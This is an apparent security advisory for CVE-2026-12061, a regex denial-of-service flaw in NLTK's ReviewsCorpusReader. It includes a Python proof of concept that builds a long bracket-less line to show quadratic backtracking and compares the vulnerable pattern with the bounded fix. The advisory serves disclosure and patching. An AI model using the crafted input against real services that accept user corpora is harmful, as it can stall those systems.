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Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex (CVE-2026-12061)

0
High
Published: 07/31/2026 (07/31/2026, 16:51:09 UTC)
Source: GCVE Database
Product: nltk

Description

### Summary `ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. ### Details The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes. ### PoC ``` import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main() ``` ### Impact Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

CVSS v3.1

Score 7.5high

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected software

PyPIghsa
nltk
Affected versions
<3.10.0

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AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/31/2026, 19:48:31 UTC

Technical Analysis

The ReviewsCorpusReader in NLTK uses a module-level FEATURES regex to extract feature annotations formatted as a label followed by a bracketed signed digit (e.g., label[+2]). The label sub-pattern is an unbounded greedy run of word-plus-whitespace groups followed by a word, which must be followed by a literal '['. On input lines that are long sequences of words without brackets, the regex engine performs quadratic backtracking due to repeated failed attempts to match the bracket at each position. This results in O(n²) CPU time relative to the line length, causing the reader functions to hang on a single crafted line. A fix was introduced by bounding the number of word-plus-whitespace groups, reducing the complexity to linear time while preserving extraction correctness on realistic data.

Potential Impact

An attacker can cause denial of service by supplying a single crafted review line with a very long sequence of words and no bracketed annotation. Processing this line with ReviewsCorpusReader functions (reviews(), features(), sents()) results in excessive CPU consumption and hanging of the processing thread or process. No authentication or privileges are required, so any user-supplied or untrusted corpus can be used to trigger this condition, potentially stalling multi-tenant pipelines or batch jobs.

Mitigation Recommendations

A patch is available that introduces a bound on the number of word-plus-whitespace groups in the FEATURES regex, preventing quadratic backtracking. Users should upgrade to NLTK version 3.10.0 or later where this fix is applied. Until patched, avoid processing untrusted or user-supplied review corpora that may contain long bracket-less lines. The vendor advisory confirms a fix is available.

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Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-fg7f-2386-8897
Osv Schema Version
1.4.0
Aliases
["CVE-2026-12061"]
Ecosystems
["PyPI"]
Database Specific Severity
HIGH
Cvss Version
3.1

Threat ID: 6a6cf7f1bf32cb7a342b3ed2

Added to database: 07/31/2026, 19:30:57 UTC

Last enriched: 07/31/2026, 19:48:31 UTC

Last updated: 09/08/2026, 15:22:07 UTC

Views: 33

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